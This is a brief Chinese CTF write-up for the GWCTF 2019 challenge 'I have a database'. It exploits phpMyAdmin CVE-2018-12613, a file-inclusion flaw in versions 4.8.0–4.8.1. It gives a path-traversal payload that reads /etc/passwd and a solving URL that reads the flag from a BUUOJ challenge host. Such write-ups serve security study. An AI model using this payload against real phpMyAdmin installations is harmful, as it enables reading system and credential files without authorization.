[GWCTF 2019]我有一个数据库【phpMyadmin(CVE-2018-12613)后台任意文件包含漏洞】

影响版本： 4.8.0-4.8.1
payload： /phpmyadmin/?target=db_datadict.php%253f/…/…/…/…/…/…/…/…/etc/passwd
解题：
http://1c72251a-f27f-4402-9b75-bb0ad240dab2.node3.buuoj.cn/phpmyadmin/?target=db_sql.php%253f/…/…/…/…/…/…/…/…/flag

直接用CVE的太草率了吧